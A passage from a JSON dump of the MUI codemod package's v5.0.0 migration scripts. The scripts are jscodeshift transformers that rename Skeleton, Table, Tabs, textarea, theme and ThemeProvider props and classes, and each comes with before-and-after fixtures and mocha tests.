    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const source = j(file.source)\n    .findJSXElements('Skeleton')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'variant') {\n          if (node.value.value === 'circle' || node.value.expression?.value === 'circle') {\n            node.value = j.literal('circular');\n          }\n          if (node.value.value === 'rect' || node.value.expression?.value === 'rect') {\n            node.value = j.literal('rectangular');\n          }\n        }\n\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          node.value?.expression?.properties?.forEach((subNode) => {\n            if (subNode.key.name === 'circle') {\n              subNode.key.name = 'circular';\n            }\n            if (subNode.key.name === 'rect') {\n              subNode.key.name = 'rectangular';\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n  return source\n    .replace(/\\.MuiSkeleton-circle/gm, '.MuiSkeleton-circular')\n    .replace(/\\.MuiSkeleton-rect([^\\w])/gm, '.MuiSkeleton-rectangular$1');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/skeleton-variant.test/actual.js",
    "content": "<div>\n  <Skeleton variant=\"circle\" />\n  <Skeleton variant=\"rect\" />\n  <Skeleton classes={{ circle: 'className', rect: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiSkeleton-circle': {\n        background: 'red',\n      },\n      '& .MuiSkeleton-rect': {\n        background: 'red',\n      },\n      '& .CustomSkeleton-circle': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/skeleton-variant.test/expected.js",
    "content": "<div>\n  <Skeleton variant=\"circular\" />\n  <Skeleton variant=\"rectangular\" />\n  <Skeleton classes={{ circular: 'className', rectangular: 'className' }} />\n  <Box\n    sx={{\n      '& .MuiSkeleton-circular': {\n        background: 'red',\n      },\n      '& .MuiSkeleton-rectangular': {\n        background: 'red',\n      },\n      '& .CustomSkeleton-circle': {\n        background: 'red',\n      },\n    }}\n  />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/skeleton-variant.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './skeleton-variant';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('skeleton-variant', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./skeleton-variant.test/actual.js'),\n            path: require.resolve('./skeleton-variant.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./skeleton-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./skeleton-variant.test/expected.js'),\n            path: require.resolve('./skeleton-variant.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./skeleton-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options = {}) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  let isImported = false;\n  /**\n   * try to import `StyledEngineProvider`\n   */\n  root\n    .find(j.ImportSpecifier)\n    .forEach(({ node }) => {\n      if (node.imported.name === 'StyledEngineProvider') {\n        isImported = true;\n      }\n    })\n    .filter(\n      ({ node }) =>\n        node.imported.name === 'MuiThemeProvider' || node.imported.name === 'ThemeProvider',\n    )\n    .at(0)\n    .forEach((path) => {\n      if (!isImported) {\n        path.insertAfter(j.importSpecifier(j.identifier('StyledEngineProvider')));\n      }\n    });\n\n  /**\n   * wrapped with <StyledEngineProvider>\n   */\n  let hasWrapped = false;\n\n  function wrapJSX(name) {\n    root.findJSXElements(name).forEach((element) => {\n      const identifier = j.jsxIdentifier('StyledEngineProvider');\n\n      const parent = element.parent;\n\n      if (\n        parent.node.type !== 'JSXElement' ||\n        (parent.node.type === 'JSXElement' &&\n          parent.node.openingElement.name.name !== 'StyledEngineProvider')\n      ) {\n        hasWrapped = true;\n        element.replace(\n          j.jsxElement(\n            j.jsxOpeningElement(identifier, [j.jsxAttribute(j.jsxIdentifier('injectFirst'))]),\n            j.jsxClosingElement(identifier),\n            [j.jsxText('\\n'), element.node, j.jsxText('\\n')],\n          ),\n        );\n      }\n    });\n  }\n\n  wrapJSX('MuiThemeProvider');\n\n  if (!hasWrapped) {\n    wrapJSX('ThemeProvider');\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.test/mui-theme-provider.actual.js",
    "content": "\nimport { MuiThemeProvider, createMuiTheme } from '@material-ui/core';\nimport { OtherProvider } from './contexts';\nimport Page from './pages';\n\nconst App = () => {\n  return (\n    <Providers>\n      <MuiThemeProvider theme={createMuiTheme()}>\n        <OtherProvider>\n          <Page />\n        </OtherProvider>\n      </MuiThemeProvider>\n    </Providers>\n  );\n};\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.test/mui-theme-provider.expected.js",
    "content": "\nimport { MuiThemeProvider, StyledEngineProvider, createMuiTheme } from '@material-ui/core';\nimport { OtherProvider } from './contexts';\nimport Page from './pages';\n\nconst App = () => {\n  return (\n    <Providers>\n      <StyledEngineProvider injectFirst>\n        <MuiThemeProvider theme={createMuiTheme()}>\n          <OtherProvider>\n            <Page />\n          </OtherProvider>\n        </MuiThemeProvider>\n      </StyledEngineProvider>\n    </Providers>\n  );\n};\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.test/theme-provider.actual.js",
    "content": "\nimport { ThemeProvider, createTheme } from '@material-ui/core/styles';\nimport { OtherProvider } from './contexts';\nimport Page from './pages';\n\nconst App = () => {\n  return (\n    <ThemeProvider theme={createTheme()}>\n      <OtherProvider>\n        <Page />\n      </OtherProvider>\n    </ThemeProvider>\n  );\n};\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.test/theme-provider.expected.js",
    "content": "\nimport { ThemeProvider, StyledEngineProvider, createTheme } from '@material-ui/core/styles';\nimport { OtherProvider } from './contexts';\nimport Page from './pages';\n\nconst App = () => {\n  return (\n    <StyledEngineProvider injectFirst>\n      (<ThemeProvider theme={createTheme()}>\n        <OtherProvider>\n          <Page />\n        </OtherProvider>\n      </ThemeProvider>)\n    </StyledEngineProvider>\n  );\n};\n\nexport default App;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/styled-engine-provider.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './styled-engine-provider';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('new style-engine-provider import', () => {\n      it('import StyleEngineProvider after MuiThemeProvider', () => {\n        const actual = transform(\n          {\n            source: read('./styled-engine-provider.test/mui-theme-provider.actual.js'),\n            path: require.resolve('./styled-engine-provider.test/mui-theme-provider.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./styled-engine-provider.test/mui-theme-provider.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./styled-engine-provider.test/mui-theme-provider.expected.js'),\n            path: require.resolve('./styled-engine-provider.test/mui-theme-provider.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./styled-engine-provider.test/mui-theme-provider.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('import StyleEngineProvider after ThemeProvider', () => {\n        const actual = transform(\n          {\n            source: read('./styled-engine-provider.test/theme-provider.actual.js'),\n            path: require.resolve('./styled-engine-provider.test/theme-provider.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./styled-engine-provider.test/theme-provider.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/table-props.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  root\n    .find(j.JSXElement)\n    .filter(({ node }) => node.openingElement.name.name?.match(/^(Table|TableCell)$/))\n    .forEach(({ node }) => {\n      node.openingElement.attributes.forEach((attr) => {\n        if (\n          attr.name?.name === 'padding' &&\n          (attr.value?.value === 'default' || attr.value?.expression?.value === 'default')\n        ) {\n          attr.value = j.literal('normal');\n        }\n      });\n    });\n\n  root.findJSXElements('TablePagination').forEach(({ node }) => {\n    node.openingElement.attributes.forEach((attr) => {\n      if (attr.type === 'JSXAttribute' && attr.name.name === 'onChangeRowsPerPage') {\n        attr.name.name = 'onRowsPerPageChange';\n      }\n      if (attr.type === 'JSXAttribute' && attr.name?.name === 'onChangePage') {\n        attr.name.name = 'onPageChange';\n      }\n\n      if (attr.type === 'JSXAttribute' && attr.name?.name === 'classes') {\n        (attr.value.expression.properties || []).forEach((subNode) => {\n          if (subNode.key.name === 'input') {\n            subNode.key.name = 'select';\n          }\n        });\n      }\n    });\n  });\n\n  return root\n    .toSource(printOptions)\n    .replace(/\\.MuiTablePagination-input/gm, '.MuiTablePagination-select');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/table-props.test/actual.js",
    "content": "<>\n  <TablePagination onChangeRowsPerPage={() => {}} onChangePage={() => {}} />\n  <TablePagination classes={{ input: 'foo' }} />\n  <Box\n    sx={{\n      '& .MuiTablePagination-input': {},\n    }}\n  />\n  <Table padding=\"default\" />\n  <TableCell padding=\"default\" />\n  <TablePagination\n    onChangeRowsPerPage={() => {}}\n    onChangePage={() =>{}}\n    {...props}\n  />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/table-props.test/expected.js",
    "content": "<>\n  <TablePagination onRowsPerPageChange={() => {}} onPageChange={() => {}} />\n  <TablePagination classes={{ select: 'foo' }} />\n  <Box\n    sx={{\n      '& .MuiTablePagination-select': {},\n    }}\n  />\n  <Table padding=\"normal\" />\n  <TableCell padding=\"normal\" />\n  <TablePagination\n    onRowsPerPageChange={() => {}}\n    onPageChange={() =>{}}\n    {...props}\n  />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/table-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './table-props';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('table-props', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./table-props.test/actual.js'),\n            path: require.resolve('./table-props.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./table-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./table-props.test/expected.js'),\n            path: require.resolve('./table-props.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./table-props.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tabs-scroll-buttons.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  root.findJSXElements('Tabs').forEach(({ node }) => {\n    let prevScrollButtonValue;\n    node.openingElement.attributes.forEach((attr) => {\n      if (attr.name && attr.name.name === 'scrollButtons') {\n        if (attr.value) {\n          prevScrollButtonValue = attr.value.value || attr.value.expression?.value;\n          if (attr.value.value === 'on' || attr.value.expression?.value === 'on') {\n            delete attr.value;\n          } else if (attr.value.value === 'desktop' || attr.value.expression?.value === 'desktop') {\n            delete attr.value;\n          } else if (attr.value.value === 'off' || attr.value.expression?.value === 'off') {\n            attr.value = j.jsxExpressionContainer(j.literal(false));\n          }\n        }\n      }\n    });\n\n    if (prevScrollButtonValue === 'on') {\n      node.openingElement.attributes.push(\n        j.jsxAttribute(j.jsxIdentifier('allowScrollButtonsMobile')),\n      );\n    }\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tabs-scroll-buttons.test/actual.js",
    "content": "<>\n  <Tabs scrollButtons=\"on\" />\n  <Tabs scrollButtons=\"desktop\" />\n  <Tabs scrollButtons=\"off\" />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tabs-scroll-buttons.test/expected.js",
    "content": "<>\n  <Tabs scrollButtons allowScrollButtonsMobile />\n  <Tabs scrollButtons />\n  <Tabs scrollButtons={false} />\n</>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/tabs-scroll-buttons.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './tabs-scroll-buttons';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('tabs-scroll-buttons', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./tabs-scroll-buttons.test/actual.js'),\n            path: require.resolve('./tabs-scroll-buttons.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tabs-scroll-buttons.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./tabs-scroll-buttons.test/expected.js'),\n            path: require.resolve('./tabs-scroll-buttons.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./tabs-scroll-buttons.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/textarea-minmax-rows.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  renameProps({\n    root,\n    componentName: 'TextareaAutosize',\n    props: { rows: 'minRows', rowsMin: 'minRows', rowsMax: 'maxRows' },\n  });\n\n  renameProps({\n    root,\n    componentName: 'TextField',\n    props: { rowsMin: 'minRows', rowsMax: 'maxRows' },\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/textarea-minmax-rows.test/actual.js",
    "content": "<div>\n  <TextField rowsMin={3} rowsMax={6} />\n  <TextareaAutosize rows={2} />\n  <TextareaAutosize rowsMin={3} rowsMax={6} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/textarea-minmax-rows.test/expected.js",
    "content": "<div>\n  <TextField minRows={3} maxRows={6} />\n  <TextareaAutosize minRows={2} />\n  <TextareaAutosize minRows={3} maxRows={6} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/textarea-minmax-rows.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './textarea-minmax-rows';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('textarea-minmax-rows', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./textarea-minmax-rows.test/actual.js'),\n            path: require.resolve('./textarea-minmax-rows.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./textarea-minmax-rows.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./textarea-minmax-rows.test/expected.js'),\n            path: require.resolve('./textarea-minmax-rows.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./textarea-minmax-rows.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-augment.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\n\nconst template = `\ndeclare module '@material-ui/styles/defaultTheme' {\n  // eslint-disable-next-line @typescript-eslint/no-empty-interface\n  interface DefaultTheme extends Theme {}\n}\n`;\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  if (file.path.endsWith('.tsx')) {\n    let hasTheme = false;\n    let isRootFile = false;\n\n    root.find(j.ImportSpecifier).forEach(({ node }) => {\n      if (node.imported.name === 'Theme') {\n        hasTheme = true;\n      }\n      if (node.imported.name === 'ThemeProvider' || node.imported.name === 'MuiThemeProvider') {\n        isRootFile = true;\n      }\n    });\n\n    if (!hasTheme) {\n      root\n        .find(j.ImportSpecifier)\n        .filter(\n          ({ node }) =>\n            node.imported.name === 'ThemeProvider' || node.imported.name === 'MuiThemeProvider',\n        )\n        .at(0)\n        .forEach((path) => {\n          path.insertAfter(j.importSpecifier(j.identifier('Theme')));\n        });\n    }\n\n    if (!file.source.match(/declare module ['\"]@material-ui\\/styles\\/defaultTheme['\"]/gm)) {\n      root\n        .find(j.ImportDeclaration)\n        .at(-1)\n        .forEach((path) => {\n          if (isRootFile) {\n            path.insertAfter(template);\n          }\n        });\n    }\n\n    return root.toSource(printOptions);\n  }\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints-width.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source.replace(\n    /(theme\\.breakpoints|breakpoints)\\.width\\(['\"](.*)['\"]\\)/gm,\n    '$1.values.$2',\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints-width.test/actual.js",
    "content": "theme.breakpoints.width('md')\ntheme.breakpoints.width('sm')\nbreakpoints.width('md')\nbreakpoints.width('sm')"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints-width.test/expected.js",
    "content": "theme.breakpoints.values.md\ntheme.breakpoints.values.sm\nbreakpoints.values.md\nbreakpoints.values.sm"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints-width.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-breakpoints-width';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-breakpoints-width', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-breakpoints-width.test/actual.js'),\n            path: require.resolve('./theme-breakpoints-width.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-breakpoints-width.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-breakpoints-width.test/expected.js'),\n            path: require.resolve('./theme-breakpoints-width.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-breakpoints-width.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints.js",
    "content": "const map = { xs: 'sm', sm: 'md', md: 'lg', lg: 'xl', xl: 'xl' };\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  root\n    .find(j.CallExpression, {\n      callee: {\n        type: 'MemberExpression',\n        object: { property: { name: 'breakpoints' } },\n        property: { type: 'Identifier', name: 'down' },\n      },\n    })\n    .forEach((path) => {\n      path.node.arguments.forEach((node) => {\n        const replacementValue = map[node.value];\n        if (replacementValue !== undefined) {\n          node.value = replacementValue;\n        }\n      });\n    });\n\n  root\n    .find(j.CallExpression, {\n      callee: {\n        type: 'MemberExpression',\n        object: { property: { name: 'breakpoints' } },\n        property: { type: 'Identifier', name: 'between' },\n      },\n    })\n    .forEach((path) => {\n      const node = path.node.arguments[1];\n      const replacementValue = map[node.value];\n      if (replacementValue !== undefined) {\n        node.value = replacementValue;\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints.test/actual.js",
    "content": "theme.breakpoints.down('sm')\ntheme.breakpoints.down('xl')\ntheme.breakpoints.down(360)\ntheme.breakpoints.between('sm', 'md')\ntheme.breakpoints.between('sm', 'xl')\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints.test/expected.js",
    "content": "theme.breakpoints.down('md')\ntheme.breakpoints.down('xl')\ntheme.breakpoints.down(360)\ntheme.breakpoints.between('sm', 'lg')\ntheme.breakpoints.between('sm', 'xl')\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-breakpoints.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-breakpoints';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-breakpoints', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-breakpoints.test/actual.js'),\n            path: require.resolve('./theme-breakpoints.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-breakpoints.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-options.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source.replace(/(\\s|:|\\{)ThemeOptions/gm, '$1DeprecatedThemeOptions');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-options.test/actual.js",
    "content": "import { ThemeOptions } from '@material-ui/core';\nimport {ThemeOptions as MuiThemeOptions} from '@material-ui/core/styles';\n\n// export const abcTheme: ThemeOptions = {}\n// export const cbdTheme:ThemeOptions = {}\n// export const xyzTheme: MuiThemeOptions = {}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-options.test/expected.js",
    "content": "import { DeprecatedThemeOptions } from '@material-ui/core';\nimport {DeprecatedThemeOptions as MuiThemeOptions} from '@material-ui/core/styles';\n\n// export const abcTheme: DeprecatedThemeOptions = {}\n// export const cbdTheme:DeprecatedThemeOptions = {}\n// export const xyzTheme: MuiThemeOptions = {}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-options.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-options';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-options', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-options.test/actual.js'),\n            path: require.resolve('./theme-options.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-options.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-options.test/expected.js'),\n            path: require.resolve('./theme-options.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-options.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-palette-mode.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source\n    .replace(/(theme\\.palette|palette)\\.type/gm, '$1.mode')\n    .replace(/(palette:\\s*{\\r?\\n?\\s.*)type/gm, '$1mode');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-palette-mode.test/actual.js",
    "content": "theme.palette.type = isDark ? 'dark' : 'light';\n({\n  color: palette.type === 'dark' ? '#fff' : palette.text.primary,\n  '&:hover': () => ({\n    color: palette.type === 'dark' ? palette.primary.light : palette.primary.main,\n  }),\n  boxShadow: `0 0 0 0.2rem ${Color(normalColor).fade(palette.type === 'dark' ? 0.48 : 0.75)}`,\n});\n{\n  palette: {\n    type: 'light';\n  }\n}\n{\n  palette: { type: 'light' }\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-palette-mode.test/expected.js",
    "content": "theme.palette.mode = isDark ? 'dark' : 'light';\n({\n  color: palette.mode === 'dark' ? '#fff' : palette.text.primary,\n  '&:hover': () => ({\n    color: palette.mode === 'dark' ? palette.primary.light : palette.primary.main,\n  }),\n  boxShadow: `0 0 0 0.2rem ${Color(normalColor).fade(palette.mode === 'dark' ? 0.48 : 0.75)}`,\n});\n{\n  palette: {\n    mode: 'light';\n  }\n}\n{\n  palette: { mode: 'light' }\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-palette-mode.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-palette-mode';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-palette-mode', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-palette-mode.test/actual.js'),\n            path: require.resolve('./theme-palette-mode.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-palette-mode.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-palette-mode.test/expected.js'),\n            path: require.resolve('./theme-palette-mode.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-palette-mode.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/))\n    .forEach((path) => {\n      let previousVarName;\n      path.node.specifiers.forEach((node) => {\n        if (!node.imported && node.local.name === 'MuiThemeProvider') {\n          // default specifier\n          previousVarName = node.local.name;\n          node.local.name = 'ThemeProvider';\n        }\n\n        if (node.imported && node.imported.name === 'MuiThemeProvider') {\n          previousVarName = node.local.name;\n          node.local = null;\n          node.imported.name = 'ThemeProvider';\n        }\n      });\n\n      if (previousVarName) {\n        root.findJSXElements(previousVarName).forEach(({ node }) => {\n          node.openingElement.name.name = 'ThemeProvider';\n          if (node.closingElement) {\n            node.closingElement.name.name = 'ThemeProvider';\n          }\n        });\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.test/actual.js",
    "content": "import { createTheme, MuiThemeProvider, Theme } from '@material-ui/core/styles';\n\nfunction App() {\n  return (\n    <MuiThemeProvider theme={createTheme()}>\n      <div data-testid=\"foo\" />\n    </MuiThemeProvider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.test/core-import.actual.js",
    "content": "import { createTheme, MuiThemeProvider, Theme } from '@material-ui/core';\n\nfunction App() {\n  return (\n    <MuiThemeProvider theme={createTheme()}>\n      <div data-testid=\"foo\" />\n    </MuiThemeProvider>\n  );\n}\n"
  },
  {
